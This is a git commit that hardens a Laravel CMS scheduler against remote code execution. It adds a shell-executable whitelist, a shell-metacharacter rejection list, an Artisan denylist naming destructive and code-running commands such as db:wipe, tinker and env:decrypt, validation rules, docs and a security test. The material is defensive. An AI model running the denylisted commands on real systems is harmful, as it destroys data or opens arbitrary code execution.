fix(security): 스케줄러 Shell/Artisan 명령 실행 하드닝

미출시 예약 작업 기능에서 스케줄 권한만 위임받은 계정이 Shell/Artisan
명령으로 임의 코드를 실행할 수 있던 문제를 선제적으로 차단(KVE-2026-1567).
Shell 은 기본 차단 + 실행 파일 화이트리스트 + 셸 미경유 인자배열 실행,
Artisan 은 차단목록. 저장 시점(FormRequest)과 실행 시점(Service) 이중 검증.

아울러 공개 release 보다 앞선 미출시 버전들의 CHANGELOG 출시 날짜를
2026-07-14 로 통일.
This commit is contained in:
HeuJung
2026-07-14 14:48:33 +09:00
parent 4c73db2e91
commit ce8e55b390
23 changed files with 957 additions and 25 deletions
+2 -1
View File
@@ -4,13 +4,14 @@
형식은 [Keep a Changelog](https://keepachangelog.com/ko/1.1.0/)를 따르며,
[Semantic Versioning](https://semver.org/lang/ko/)을 준수합니다.
## [7.0.4] - 2026-07-11
## [7.0.4] - 2026-07-14
### Security
- 서버가 외부 주소를 대신 호출하는 기능들에서, 사내 서버나 클라우드 관리 주소처럼 외부에 공개되지 않은 내부 주소를 호출 대상으로 지정할 수 없도록 차단했습니다. 언어팩을 주소로 내려받을 때, 예약 작업으로 주소를 호출할 때, 쇼핑몰 배송비를 외부 계산 서버로 문의할 때가 해당합니다. 사내 서버를 주기적으로 호출하는 등 내부 주소가 꼭 필요한 운영 환경을 위해, 환경설정 > 보안에 "내부 네트워크 주소 호출 허용" 항목을 새로 추가했습니다. 이 항목은 기본적으로 꺼져 있습니다.
- 주소를 검사할 때 앞부분만 맞으면 통과시키던 방식을 실제 주소가 정확히 일치하는지 확인하도록 바로잡았습니다. 이전에는 신뢰하는 주소를 앞에 붙인 가짜 주소가 검사를 통과할 수 있었습니다. 본인인증 연동과 언어팩 업데이트 확인에 적용됩니다. (KISA 측에서 제보해주셨습니다 — KVE-2026-1546)
- 배포본에 원본 소스코드가 그대로 담긴 파일(소스맵)이 함께 포함되어, 누구나 주소만 알면 내려받아 볼 수 있던 문제를 차단했습니다. 이제 배포용으로 빌드하면 이 파일이 아예 만들어지지 않으며, 기존에 포함되어 있던 파일도 모두 제거했습니다. 아울러 이 파일이 서버에 남아 있더라도 웹으로는 내려받을 수 없도록 막았습니다. 내 컴퓨터에서 개발용으로 빌드할 때는 디버깅에 필요하므로 이전과 동일하게 생성됩니다. (#72 @glitter-gim 님께서 건의해주셨습니다.)
- 아직 공개하지 않은 예약 작업 기능에서, 서버 명령을 실행하는 두 유형(쉘 명령·Artisan 명령)에 대해 향후 정식 공개에 대비한 실행 제한 장치를 미리 마련했습니다. 쉘 명령 예약은 기본적으로 완전히 차단되며 서버 관리자가 실행 파일을 명시적으로 등록해야만 사용할 수 있고(관리자 화면에서는 넓힐 수 없습니다), Artisan 명령 예약도 데이터를 지우거나 임의 코드를 실행할 수 있는 위험한 명령은 거부됩니다. 이 기능은 현재 메뉴에 노출되지 않아 실제 사용 경로가 없습니다. (KISA 측에서 제보해주셨습니다 — KVE-2026-1567)
### Fixed
@@ -6,6 +6,8 @@ use App\Enums\ExtensionOwnerType;
use App\Enums\ScheduleFrequency;
use App\Enums\ScheduleType;
use App\Extension\HookManager;
use App\Rules\AllowedArtisanCommand;
use App\Rules\AllowedShellCommand;
use App\Rules\PublicOutboundUrl;
use Illuminate\Contracts\Validation\ValidationRule;
use Illuminate\Foundation\Http\FormRequest;
@@ -38,7 +40,8 @@ class CreateScheduleRequest extends FormRequest
'name' => 'required|string|max:255',
'description' => 'nullable|string|max:1000',
'type' => "required|string|in:{$types}",
// URL 호출 스케줄이면 command 가 곧 서버의 outbound 목적지가 되므로 내부망 주소를 차단한다
// command 는 타입별로 서버의 outbound 목적지(URL)·OS 명령(Shell)·PHP 코드(Artisan)가 되므로
// 각 타입에 맞는 실행 허용 검증을 저장 시점에 건다
'command' => [
'required',
'string',
@@ -47,6 +50,14 @@ class CreateScheduleRequest extends FormRequest
$this->input('type') === ScheduleType::Url->value,
[new PublicOutboundUrl],
),
Rule::when(
$this->input('type') === ScheduleType::Shell->value,
[new AllowedShellCommand],
),
Rule::when(
$this->input('type') === ScheduleType::Artisan->value,
[new AllowedArtisanCommand],
),
],
'expression' => 'required|string|max:100',
'frequency' => "required|string|in:{$frequencies}",
@@ -7,6 +7,8 @@ use App\Enums\ScheduleFrequency;
use App\Enums\ScheduleType;
use App\Extension\HookManager;
use App\Models\Schedule;
use App\Rules\AllowedArtisanCommand;
use App\Rules\AllowedShellCommand;
use App\Rules\PublicOutboundUrl;
use Illuminate\Contracts\Validation\ValidationRule;
use Illuminate\Foundation\Http\FormRequest;
@@ -38,13 +40,16 @@ class UpdateScheduleRequest extends FormRequest
'name' => 'sometimes|required|string|max:255',
'description' => 'nullable|string|max:1000',
'type' => "sometimes|required|string|in:{$types}",
// URL 호출 스케줄이면 command 가 곧 서버의 outbound 목적지가 되므로 내부망 주소를 차단한다
// command 는 타입별로 서버의 outbound 목적지(URL)·OS 명령(Shell)·PHP 코드(Artisan)가 되므로
// 각 타입에 맞는 실행 허용 검증을 저장 시점에 건다
'command' => [
'sometimes',
'required',
'string',
'max:2000',
Rule::when($this->resolvesToUrlSchedule(), [new PublicOutboundUrl]),
Rule::when($this->resolvesToScheduleType(ScheduleType::Url), [new PublicOutboundUrl]),
Rule::when($this->resolvesToScheduleType(ScheduleType::Shell), [new AllowedShellCommand]),
Rule::when($this->resolvesToScheduleType(ScheduleType::Artisan), [new AllowedArtisanCommand]),
],
'expression' => 'sometimes|required|string|max:100',
'frequency' => "sometimes|required|string|in:{$frequencies}",
@@ -61,22 +66,23 @@ class UpdateScheduleRequest extends FormRequest
}
/**
* 이번 수정 결과 URL 호출 스케줄이 되는지 판정합니다.
* 이번 수정 결과 스케줄이 주어진 타입이 되는지 판정합니다.
*
* PATCH 라 `type` 이 요청에 없을 수 있으므로, 없으면 저장된 스케줄의 타입을 기준으로
* 판정한다 — 그렇지 않으면 기존 url 스케줄의 command 만 바꾸는 요청이 검증을 비껴간다.
* 판정한다 — 그렇지 않으면 기존 스케줄의 command 만 바꾸는 요청이 검증을 비껴간다.
*
* @return bool URL 호출 스케줄이면 true
* @param ScheduleType $type 판정할 스케줄 타입
* @return bool 해당 타입의 스케줄이면 true
*/
protected function resolvesToUrlSchedule(): bool
protected function resolvesToScheduleType(ScheduleType $type): bool
{
if ($this->has('type')) {
return $this->input('type') === ScheduleType::Url->value;
return $this->input('type') === $type->value;
}
$schedule = $this->route('schedule');
return $schedule instanceof Schedule && $schedule->type === ScheduleType::Url;
return $schedule instanceof Schedule && $schedule->type === $type;
}
/**
+41
View File
@@ -0,0 +1,41 @@
<?php
namespace App\Rules;
use App\Support\ScheduleCommandValidator;
use Closure;
use Illuminate\Contracts\Validation\ValidationRule;
/**
* Artisan 타입 스케줄의 command 가 차단목록에 걸리지 않는지 검증하는 Custom Rule.
*
* `tinker` 처럼 임의 PHP 코드를 실행하거나 `db:wipe` 처럼 파괴적인 명령을 스케줄로 등록하는 것을
* 저장 시점에 차단한다. 차단목록은 `config/schedule_security.php` 가 소유하며 관리자 환경설정에
* 노출되지 않는다.
*/
class AllowedArtisanCommand implements ValidationRule
{
/**
* 값이 실행 허용된 artisan 명령인지 검증합니다.
*
* @param string $attribute 검증 대상 필드명
* @param mixed $value 검증 대상 값
* @param Closure $fail 실패 콜백
*/
public function validate(string $attribute, mixed $value, Closure $fail): void
{
if ($value === null || $value === '') {
return;
}
if (! is_string($value)) {
$fail(__('validation.schedule_command.artisan_denied'));
return;
}
if (! ScheduleCommandValidator::isArtisanCommandAllowed($value)) {
$fail(__('validation.schedule_command.artisan_denied'));
}
}
}
+41
View File
@@ -0,0 +1,41 @@
<?php
namespace App\Rules;
use App\Support\ScheduleCommandValidator;
use Closure;
use Illuminate\Contracts\Validation\ValidationRule;
/**
* Shell 타입 스케줄의 command 가 실행 허용된 명령인지 검증하는 Custom Rule.
*
* 스케줄 생성 권한만 위임받은 계정이 임의 OS 명령을 서버에서 실행하는 것을 저장 시점에 차단한다.
* 허용 여부는 `config/schedule_security.php` 의 opt-in 게이트와 실행 파일 화이트리스트가 결정하며,
* 관리자 환경설정에 노출되지 않으므로 위임 관리자가 스스로 범위를 넓힐 수 없다.
*/
class AllowedShellCommand implements ValidationRule
{
/**
* 값이 실행 허용된 shell 명령인지 검증합니다.
*
* @param string $attribute 검증 대상 필드명
* @param mixed $value 검증 대상 값
* @param Closure $fail 실패 콜백
*/
public function validate(string $attribute, mixed $value, Closure $fail): void
{
if ($value === null || $value === '') {
return;
}
if (! is_string($value)) {
$fail(__('validation.schedule_command.shell_not_allowed'));
return;
}
if (! ScheduleCommandValidator::isShellCommandAllowed($value)) {
$fail(__('validation.schedule_command.shell_not_allowed'));
}
}
}
+29 -7
View File
@@ -11,8 +11,8 @@ use App\Extension\HookManager;
use App\Models\Schedule;
use App\Models\ScheduleHistory;
use App\Support\OutboundUrlValidator;
use App\Support\ScheduleCommandValidator;
use Exception;
use Illuminate\Contracts\Pagination\LengthAwarePaginator;
use Illuminate\Database\Eloquent\Collection;
use Illuminate\Support\Facades\Artisan;
use Illuminate\Support\Facades\DB;
@@ -207,10 +207,13 @@ class ScheduleService
'output' => $result['output'] ?? null,
]);
// 스케줄 상태 업데이트
// 스케줄 상태 업데이트 (다음 실행 시각은 모델이 계산, 영속화는 Repository 경유)
$schedule->last_result = ScheduleResultStatus::Success;
$schedule->calculateNextRunAt();
$schedule->save();
$this->scheduleRepository->update($schedule, [
'last_result' => ScheduleResultStatus::Success,
'next_run_at' => $schedule->next_run_at,
]);
// after_run 훅 실행
HookManager::doAction('core.schedule.after_run', $schedule, $history);
@@ -226,10 +229,13 @@ class ScheduleService
'error_output' => $e->getMessage(),
]);
// 스케줄 상태 업데이트
// 스케줄 상태 업데이트 (다음 실행 시각은 모델이 계산, 영속화는 Repository 경유)
$schedule->last_result = ScheduleResultStatus::Failed;
$schedule->calculateNextRunAt();
$schedule->save();
$this->scheduleRepository->update($schedule, [
'last_result' => ScheduleResultStatus::Failed,
'next_run_at' => $schedule->next_run_at,
]);
Log::error('Schedule execution failed', [
'schedule_id' => $schedule->id,
@@ -247,10 +253,16 @@ class ScheduleService
*
* @param Schedule $schedule 스케줄
* @return array 실행 결과
*
* @throws Exception 차단목록에 걸린 명령일 때
*/
private function executeArtisanCommand(Schedule $schedule): array
{
$output = '';
// 저장 시점 검증 도입 이전 데이터나 DB 직접 수정으로 들어온 값을 방어한다
// (isUrlCallAllowed 와 동일 사유 — 실행 직전이 마지막 방어선).
if (! ScheduleCommandValidator::isArtisanCommandAllowed($schedule->command)) {
throw new Exception(__('schedule.artisan_not_allowed'));
}
Artisan::call($schedule->command, [], new BufferedOutput);
@@ -270,9 +282,19 @@ class ScheduleService
*/
private function executeShellCommand(Schedule $schedule): array
{
// 저장 시점 검증 도입 이전 데이터나 DB 직접 수정으로 들어온 값을 방어한다
// (isUrlCallAllowed 와 동일 사유 — 실행 직전이 마지막 방어선).
$arguments = ScheduleCommandValidator::tokenizeShellCommand($schedule->command);
if ($arguments === null || ! ScheduleCommandValidator::isShellCommandAllowed($schedule->command)) {
throw new Exception(__('schedule.shell_not_allowed'));
}
$timeout = $schedule->timeout ?? 60;
$result = Process::timeout($timeout)->run($schedule->command);
// 문자열이 아닌 인자 배열로 넘겨 `/bin/sh -c` 를 경유하지 않는다 —
// 파이프·`;`·`$()` 같은 셸 메타문자가 명령으로 해석될 여지를 없앤다.
$result = Process::timeout($timeout)->run($arguments);
if ($result->failed()) {
throw new Exception($result->errorOutput() ?: __('schedule.shell_command_failed'), $result->exitCode());
+149
View File
@@ -0,0 +1,149 @@
<?php
namespace App\Support;
/**
* 스케줄 Shell/Artisan command 가 실행 가능한 안전 명령인지 판정하는 순수 유틸.
*
* 스케줄 command 는 저장된 문자열이 그대로 서버에서 실행되는 값이므로, 스케줄 생성 권한을
* 위임받은 계정이 임의 OS 명령·임의 PHP 코드를 실행하는 통로가 될 수 있다(권한 상승형 RCE).
* 본 유틸은 두 축의 판정을 제공한다:
*
* 1. Shell — 기본 차단. `config/schedule_security.php` 의 opt-in 게이트가 켜져 있고,
* 셸 메타문자가 없으며, 첫 토큰의 basename 이 허용 실행 파일 목록과 완전 일치할 때만 허용.
* 허용되더라도 호출부는 `tokenizeShellCommand()` 로 얻은 인자 배열로 실행해야 한다
* (`/bin/sh -c` 를 경유하지 않으므로 파이프·`;`·`$()` 가 무력화된다).
*
* 2. Artisan — 기본 허용, 차단목록만 거부. `tinker` 처럼 임의 PHP 코드를 실행하거나
* `db:wipe` 처럼 파괴적인 명령을 스케줄로 실행하지 못하게 막는다.
*
* 예외를 던지지 않고 bool/배열만 반환한다 — 차단 시 어떤 응답/예외를 낼지는 호출부가 결정한다.
*/
class ScheduleCommandValidator
{
/** 셸 해석을 유발하는 메타문자 — 하나라도 있으면 인자 배열 실행이 불가하므로 거부 */
private const SHELL_METACHARACTERS = [
'|', '&', ';', '$', '`', '>', '<', '(', ')', '{', '}',
'*', '?', '!', '\\', '"', "'", "\n", "\r", "\t",
];
/**
* Shell 타입 command 를 실행해도 되는지 판정합니다.
*
* 게이트가 켜져 있고, 화이트리스트가 비어있지 않으며, 메타문자가 없고,
* 첫 토큰의 basename 이 화이트리스트와 완전 일치할 때만 true.
*
* @param string $command 스케줄에 저장된 shell command 문자열
* @return bool 실행을 허용하면 true
*/
public static function isShellCommandAllowed(string $command): bool
{
if (! (bool) config('schedule_security.shell.enabled', false)) {
return false;
}
$allowed = array_values(array_filter(array_map(
static fn ($binary): string => trim((string) $binary),
(array) config('schedule_security.shell.allowed_binaries', []),
)));
if ($allowed === []) {
return false;
}
$tokens = self::tokenize($command);
if ($tokens === null || $tokens === []) {
return false;
}
return in_array(basename($tokens[0]), $allowed, true);
}
/**
* Shell command 를 `Process::run(array)` 에 넘길 안전한 인자 배열로 변환합니다.
*
* 메타문자가 섞여 있으면 셸 미경유 실행이 불가하므로 null 을 반환한다.
*
* @param string $command 스케줄에 저장된 shell command 문자열
* @return array<int, string>|null 인자 배열, 안전하게 토큰화할 수 없으면 null
*/
public static function tokenizeShellCommand(string $command): ?array
{
return self::tokenize($command);
}
/**
* Artisan command 문자열에서 명령명(첫 토큰)을 추출합니다.
*
* @param string $command 스케줄에 저장된 artisan command 문자열
* @return string|null 명령명, 빈 문자열이면 null
*/
public static function extractArtisanCommandName(string $command): ?string
{
$trimmed = trim($command);
if ($trimmed === '') {
return null;
}
$tokens = preg_split('/\s+/', $trimmed);
return ($tokens === false || $tokens === []) ? null : $tokens[0];
}
/**
* Artisan command 가 차단목록에 걸리지 않는지 판정합니다.
*
* @param string $command 스케줄에 저장된 artisan command 문자열
* @return bool 실행을 허용하면 true
*/
public static function isArtisanCommandAllowed(string $command): bool
{
$name = self::extractArtisanCommandName($command);
if ($name === null) {
return false;
}
$denylist = array_map(
static fn ($denied): string => strtolower(trim((string) $denied)),
(array) config('schedule_security.artisan.denylist', []),
);
return ! in_array(strtolower($name), $denylist, true);
}
/**
* 메타문자 없는 공백 구분 토큰화. 메타문자가 있으면 null 을 반환합니다.
*
* 따옴표 escape 처리 버그를 원천 회피하기 위해, 따옴표를 포함한 복잡한 명령은
* 지원하지 않고 거부하는 보수적 구현이다(복합 명령은 래퍼 스크립트로 유도).
*
* @param string $command command 문자열
* @return array<int, string>|null 토큰 배열, 안전하지 않으면 null
*/
private static function tokenize(string $command): ?array
{
$command = trim($command);
if ($command === '') {
return null;
}
// 제어문자(개행 포함)가 섞인 명령은 즉시 거부
if (preg_match('/[\x00-\x1F\x7F]/', $command) === 1) {
return null;
}
foreach (self::SHELL_METACHARACTERS as $meta) {
if (str_contains($command, $meta)) {
return null;
}
}
$tokens = preg_split('/\s+/', $command);
return ($tokens === false || $tokens === []) ? null : $tokens;
}
}
+32
View File
@@ -0,0 +1,32 @@
<?php
// 스케줄러 Shell/Artisan 실행 보안 정책.
// 관리자 환경설정에 노출하지 않는 코드 소유 정책 — command 실행 능력은 신뢰 경계 안에서만 넓힌다.
// (스케줄 권한만 위임받은 관리자가 화이트리스트를 넓혀 임의 명령 실행을 복구하는 것을 막는다.)
return [
'shell' => [
// Shell 타입 스케줄 실행 자체를 켜는 opt-in 게이트 (기본 차단).
'enabled' => env('SCHEDULE_SHELL_ENABLED', false),
// 허용 실행 파일 basename 목록. 빈 배열이면 모든 shell 명령을 거부한다.
'allowed_binaries' => array_values(array_filter(array_map(
'trim',
explode(',', (string) env('SCHEDULE_SHELL_ALLOWED_BINARIES', '')),
))),
],
'artisan' => [
// 파괴적·코드 실행형 artisan 명령 차단목록 (첫 토큰 기준).
'denylist' => [
'tinker',
'db:wipe',
'migrate:fresh',
'migrate:reset',
'migrate:rollback',
'schedule:run',
'schedule:work',
'env:decrypt',
'key:generate',
],
],
];
+2 -2
View File
@@ -170,7 +170,7 @@ HTTP/1.1 200
| name | body | string | 예 | max 255 | 대상의 이름/명칭 |
| description | body | string | 아니오 | max 1000 | 설명 |
| type | body | string | 예 | `artisan`, `shell`, `url` | 작업 유형: artisan(Artisan 커맨드 실행), shell(쉘 명령 실행), url(URL 호출) |
| command | body | string | 예 | max 2000 | 실행할 명령 (`type` 에 따라 Artisan 커맨드 / 쉘 명령 / 호출할 URL). `type=url` 이면 내부 네트워크 주소(사설 IP·루프백·`localhost`·`*.internal` 등)는 거부되어 422 로 응답합니다 — 서버가 내부망으로 요청을 보내는 것을 막기 위함(SSRF). 사내 엔드포인트를 호출해야 하면 환경설정의 `security.allow_internal_outbound_urls` 를 켜세요. 이 설정을 켜도 userinfo(`https://a@b/`) 위장과 http/https 이외 scheme 은 계속 거부됩니다 |
| command | body | string | 예 | max 2000 | 실행할 명령 (`type` 에 따라 Artisan 커맨드 / 쉘 명령 / 호출할 URL). `type=url` 이면 내부 네트워크 주소(사설 IP·루프백·`localhost`·`*.internal` 등)는 거부되어 422 로 응답합니다 — 서버가 내부망으로 요청을 보내는 것을 막기 위함(SSRF). 사내 엔드포인트를 호출해야 하면 환경설정의 `security.allow_internal_outbound_urls` 를 켜세요. 이 설정을 켜도 userinfo(`https://a@b/`) 위장과 http/https 이외 scheme 은 계속 거부됩니다.<br>`type=shell` 이면 기본적으로 모든 명령이 거부되어 422 로 응답합니다 — 스케줄 권한만 위임받은 계정이 서버에서 임의 OS 명령을 실행하는 것을 막기 위함입니다. 실행하려면 서버의 `.env` 에서 `SCHEDULE_SHELL_ENABLED=true` 로 게이트를 열고 `SCHEDULE_SHELL_ALLOWED_BINARIES` 에 허용할 실행 파일명을 등록해야 합니다(관리자 화면에서는 넓힐 수 없는 코드 소유 정책). 허용된 실행 파일이라도 셸 메타문자(`|`, `;`, `$`, 백틱, 리다이렉션, 따옴표 등)가 포함되면 거부되며, 실행 시 셸을 경유하지 않습니다. 복합 명령이 필요하면 래퍼 스크립트를 만들어 화이트리스트에 등록하세요.<br>`type=artisan` 이면 `tinker`·`db:wipe`·`migrate:fresh`·`migrate:reset`·`migrate:rollback`·`schedule:run`·`schedule:work`·`env:decrypt`·`key:generate` 같은 코드 실행형·파괴적 명령이 거부되어 422 로 응답합니다 |
| expression | body | string | 예 | max 100 | 실행 시각을 정의하는 Cron 표현식 (예: `0 3 * * *`, 다음 실행 시각 next_run_at 계산의 기준) |
| frequency | body | string | 예 | `everyMinute`, `hourly`, `daily`, `weekly`, `monthly`, `custom` | 실행 주기 |
| without_overlapping | body | boolean | 아니오 | — | 중복 실행 방지 여부 |
@@ -680,7 +680,7 @@ HTTP/1.1 200
| name | body | string | 예 | max 255 | 대상의 이름/명칭 |
| description | body | string | 아니오 | max 1000 | 설명 |
| type | body | string | 예 | `artisan`, `shell`, `url` | 작업 유형: artisan(Artisan 커맨드 실행), shell(쉘 명령 실행), url(URL 호출) |
| command | body | string | 예 | max 2000 | 실행할 명령 (`type` 에 따라 Artisan 커맨드 / 쉘 명령 / 호출할 URL). `type=url` 이면 내부 네트워크 주소(사설 IP·루프백·`localhost`·`*.internal` 등)는 거부되어 422 로 응답합니다 — 서버가 내부망으로 요청을 보내는 것을 막기 위함(SSRF). 사내 엔드포인트를 호출해야 하면 환경설정의 `security.allow_internal_outbound_urls` 를 켜세요. 이 설정을 켜도 userinfo(`https://a@b/`) 위장과 http/https 이외 scheme 은 계속 거부됩니다 |
| command | body | string | 예 | max 2000 | 실행할 명령 (`type` 에 따라 Artisan 커맨드 / 쉘 명령 / 호출할 URL). `type=url` 이면 내부 네트워크 주소(사설 IP·루프백·`localhost`·`*.internal` 등)는 거부되어 422 로 응답합니다 — 서버가 내부망으로 요청을 보내는 것을 막기 위함(SSRF). 사내 엔드포인트를 호출해야 하면 환경설정의 `security.allow_internal_outbound_urls` 를 켜세요. 이 설정을 켜도 userinfo(`https://a@b/`) 위장과 http/https 이외 scheme 은 계속 거부됩니다.<br>`type=shell` 이면 기본적으로 모든 명령이 거부되어 422 로 응답합니다 — 스케줄 권한만 위임받은 계정이 서버에서 임의 OS 명령을 실행하는 것을 막기 위함입니다. 실행하려면 서버의 `.env` 에서 `SCHEDULE_SHELL_ENABLED=true` 로 게이트를 열고 `SCHEDULE_SHELL_ALLOWED_BINARIES` 에 허용할 실행 파일명을 등록해야 합니다(관리자 화면에서는 넓힐 수 없는 코드 소유 정책). 허용된 실행 파일이라도 셸 메타문자(`|`, `;`, `$`, 백틱, 리다이렉션, 따옴표 등)가 포함되면 거부되며, 실행 시 셸을 경유하지 않습니다. 복합 명령이 필요하면 래퍼 스크립트를 만들어 화이트리스트에 등록하세요.<br>`type=artisan` 이면 `tinker`·`db:wipe`·`migrate:fresh`·`migrate:reset`·`migrate:rollback`·`schedule:run`·`schedule:work`·`env:decrypt`·`key:generate` 같은 코드 실행형·파괴적 명령이 거부되어 422 로 응답합니다 |
| expression | body | string | 예 | max 100 | 실행 시각을 정의하는 Cron 표현식 (예: `0 3 * * *`, 다음 실행 시각 next_run_at 계산의 기준) |
| frequency | body | string | 예 | `everyMinute`, `hourly`, `daily`, `weekly`, `monthly`, `custom` | 실행 주기 |
| without_overlapping | body | boolean | 아니오 | — | 중복 실행 방지 여부 |
+2 -1
View File
@@ -4,12 +4,13 @@
형식은 [Keep a Changelog](https://keepachangelog.com/ko/1.1.0/)를 따르며,
[Semantic Versioning](https://semver.org/lang/ko/)을 준수합니다.
## [1.0.4] - 2026-07-12
## [1.0.4] - 2026-07-14
### Added
- 화면 구성에 필요한 스크립트를 끝내 불러오지 못했을 때 표시되는 안내 문구 일본어 번역 추가 (`errors.bootstrap.*`) — 네트워크 문제로 페이지를 열지 못한 경우의 안내와 새로고침 버튼이 일본어 로케일에서 자연스럽게 표시됩니다.
- 내부 네트워크 주소 호출 차단 관련 안내 문구 일본어 번역 추가 (`validation.outbound_url.*`, `schedule.url_not_public`, `language_packs.errors.download_url_not_public`, `settings.websocket_invalid_host`) — 예약 작업·언어팩 설치·웹소켓 설정에서 내부 주소가 거부될 때의 안내가 일본어 로케일에서 자연스럽게 표시됩니다.
- 아직 공개하지 않은 예약 작업 기능의 쉘·Artisan 명령 실행 제한 안내 문구 일본어 번역 추가 (`schedule.shell_not_allowed`, `schedule.artisan_not_allowed`, `validation.schedule_command.*`) — 향후 정식 공개에 대비한 것으로, 허용되지 않은 쉘 명령이나 위험한 Artisan 명령이 거부될 때의 안내가 일본어 로케일에서 자연스럽게 표시됩니다.
## [1.0.3] - 2026-07-11
@@ -101,4 +101,6 @@ return [
'run' => 'スケジュール実行',
],
'url_not_public' => '内部ネットワークアドレス(プライベートIP·localhost等)は呼び出せません。社内アドレスを呼び出す必要がある場合は、環境設定 > セキュリティで「内部ネットワークアドレス呼び出し許可」をオンにしてください。',
'shell_not_allowed' => '許可されていないシェルコマンドです。サーバーに登録された実行ファイルのみスケジュールで実行できます。',
'artisan_not_allowed' => 'このArtisanコマンドはセキュリティ上の理由によりスケジュールで実行できません。',
];
@@ -1019,4 +1019,8 @@ return [
'invalid' => '正しい形式のURLではありません。http または https で始まるアドレスを入力してください。',
'internal_not_allowed' => '内部ネットワークアドレス(プライベートIP·localhost など)は使用できません。外部からアクセス可能なアドレスを入力してください。',
],
'schedule_command' => [
'shell_not_allowed' => '許可されていないシェルコマンドです。サーバーに登録された実行ファイルのみ使用でき、パイプ(|)・セミコロン(;)などの特殊文字は使用できません。',
'artisan_denied' => 'このArtisanコマンドはセキュリティ上、スケジュールで実行することはできません。',
],
];
@@ -4,7 +4,7 @@
형식은 [Keep a Changelog](https://keepachangelog.com/ko/1.1.0/)를 따르며,
[Semantic Versioning](https://semver.org/lang/ko/)을 준수합니다.
## [1.0.3] - 2026-07-10
## [1.0.3] - 2026-07-14
### Added
@@ -4,7 +4,7 @@
형식은 [Keep a Changelog](https://keepachangelog.com/ko/1.1.0/)를 따르며,
[Semantic Versioning](https://semver.org/lang/ko/)을 준수합니다.
## [1.0.1] - 2026-07-09
## [1.0.1] - 2026-07-14
### Changed
@@ -4,7 +4,7 @@
형식은 [Keep a Changelog](https://keepachangelog.com/ko/1.1.0/)를 따르며,
[Semantic Versioning](https://semver.org/lang/ko/)을 준수합니다.
## [1.0.3] - 2026-07-13
## [1.0.3] - 2026-07-14
### Added
+2
View File
@@ -29,6 +29,8 @@ return [
'shell_command_failed' => 'Shell command execution failed.',
'http_request_failed' => 'HTTP request failed with status: :status',
'url_not_public' => 'Internal network addresses (private IPs, localhost, etc.) cannot be called. To call an address inside your network, enable "Allow internal network addresses" under Settings > Security.',
'shell_not_allowed' => 'This shell command is not allowed. Only executables registered on the server can be run as a schedule.',
'artisan_not_allowed' => 'This Artisan command cannot be run as a schedule for security reasons.',
// Task types
'type' => [
+6
View File
@@ -510,6 +510,12 @@ return [
'internal_not_allowed' => 'Internal network addresses (private IPs, localhost, etc.) are not allowed. Enter a publicly reachable address.',
],
// Schedule command (shell/Artisan) validation messages — these run on the server
'schedule_command' => [
'shell_not_allowed' => 'This shell command is not allowed. Only executables registered on the server may be used, and special characters such as pipes (|) or semicolons (;) are not permitted.',
'artisan_denied' => 'This Artisan command cannot be run as a schedule for security reasons.',
],
// Component existence validation messages
'component' => [
'template_id_required' => 'template_id is required for component validation.',
+2
View File
@@ -29,6 +29,8 @@ return [
'shell_command_failed' => '쉘 명령 실행에 실패했습니다.',
'http_request_failed' => 'HTTP 요청 실패 (상태: :status)',
'url_not_public' => '내부 네트워크 주소(사설 IP·localhost 등)는 호출할 수 없습니다. 사내 주소를 호출해야 한다면 환경설정 > 보안에서 "내부 네트워크 주소 호출 허용"을 켜주세요.',
'shell_not_allowed' => '허용되지 않은 쉘 명령입니다. 서버에 등록된 실행 파일만 스케줄로 실행할 수 있습니다.',
'artisan_not_allowed' => '이 Artisan 명령은 보안상 스케줄로 실행할 수 없습니다.',
// 작업 유형
'type' => [
+6
View File
@@ -509,6 +509,12 @@ return [
'internal_not_allowed' => '내부 네트워크 주소(사설 IP·localhost 등)는 사용할 수 없습니다. 외부에서 접속 가능한 주소를 입력해 주세요.',
],
// 서버에서 실행되는 스케줄 command(쉘·Artisan) 검증 메시지
'schedule_command' => [
'shell_not_allowed' => '허용되지 않은 쉘 명령입니다. 서버에 등록된 실행 파일만 사용할 수 있으며, 파이프(|)·세미콜론(;) 등 특수문자는 쓸 수 없습니다.',
'artisan_denied' => '이 Artisan 명령은 보안상 스케줄로 실행할 수 없습니다.',
],
// 컴포넌트 존재 여부 검증 메시지
'component' => [
'template_id_required' => '컴포넌트 검증을 위해서는 template_id가 필요합니다.',
@@ -4,7 +4,7 @@
형식은 [Keep a Changelog](https://keepachangelog.com/ko/1.1.0/)를 따르며,
[Semantic Versioning](https://semver.org/lang/ko/)을 준수합니다.
## [1.0.3] - 2026-07-10
## [1.0.3] - 2026-07-14
### Security
@@ -4,7 +4,7 @@ All notable changes to this plugin will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
## [1.0.1] - 2026-07-09
## [1.0.1] - 2026-07-14
### Security
@@ -0,0 +1,328 @@
<?php
namespace Tests\Feature\Security;
use App\Enums\ScheduleResultStatus;
use App\Enums\ScheduleType;
use App\Models\Permission;
use App\Models\Role;
use App\Models\Schedule;
use App\Models\User;
use App\Services\ScheduleService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Process;
use Illuminate\Validation\ValidationException;
use PHPUnit\Framework\Attributes\DataProvider;
use Tests\TestCase;
/**
* 스케줄 command 를 통한 권한 상승형 RCE 를 차단하는지 검증한다.
*
* 보고서(KVE-2026-1567) 주 시나리오: `core.schedules.read/create/run` 만 위임받은 저권한
* 계정이 Shell/Artisan 스케줄을 생성 → 즉시 실행하여 서버에서 임의 OS 명령·임의 PHP 코드를
* 실행하는 경로. 저장 시점(store/update 422)과 실행 시점(runSchedule 차단) 양쪽을 검증한다.
*/
class ScheduleCommandGuardTest extends TestCase
{
use RefreshDatabase;
private User $operator;
private string $token;
protected function setUp(): void
{
parent::setUp();
// 보고서 시나리오의 "스케줄 운영자" — 스케줄 권한만 위임, is_super=0
$this->operator = $this->createScheduleOperator();
$this->token = $this->operator->createToken('test-token')->plainTextToken;
}
// ========================================================================
// 저장 시점 — store/update 422
// ========================================================================
/**
* 게이트가 꺼진 기본 상태에서 저권한 계정의 shell 스케줄 생성은 422 로 거부된다.
*
* @param string $command 악성/미허용 shell command
*/
#[DataProvider('maliciousShellCommandProvider')]
public function test_store_rejects_shell_command_when_gate_disabled(string $command): void
{
$response = $this->authRequest()->postJson(route('api.admin.schedules.store'), [
'name' => 'rce 시도',
'type' => ScheduleType::Shell->value,
'command' => $command,
'expression' => '* * * * *',
'frequency' => 'everyMinute',
]);
$response->assertStatus(422);
$response->assertJsonValidationErrors('command');
}
/**
* 저권한 계정의 차단목록 artisan 스케줄 생성은 422 로 거부된다.
*
